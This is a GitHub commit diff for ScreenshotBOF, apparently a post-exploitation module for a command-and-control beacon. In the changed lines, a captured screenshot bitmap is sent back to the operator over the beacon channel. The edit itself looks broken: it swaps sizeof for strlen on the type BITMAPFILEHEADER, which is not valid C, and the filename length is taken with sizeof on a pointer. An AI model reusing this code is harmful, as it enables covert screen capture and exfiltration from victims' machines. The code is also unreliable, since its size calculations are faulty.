Update Source.cpp

resolving https://github.com/CodeXTF2/ScreenshotBOF/issues/9
This commit is contained in:
CodeX 2022-11-29 23:14:10 +08:00 committed by GitHub
parent c2dbb32115
commit b5bf5bad8c
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 2 additions and 2 deletions

View File

@ -238,7 +238,7 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName, int savemethod)
}
else{
BeaconPrintf(0x0, "[*] Downloading bitmap over beacon with filename %s", lpszFileName);
downloadFile((char*)lpszFileName, sizeof(lpszFileName), (char*)bmpdata, (int)(sizeof(BITMAPFILEHEADER) + dwDIBSize));
downloadFile((char*)lpszFileName, sizeof(lpszFileName), (char*)bmpdata, (int)(strlen(BITMAPFILEHEADER) + dwDIBSize));
}
@ -306,4 +306,4 @@ void main(int argc, char* argv[]) {
}
#endif
#endif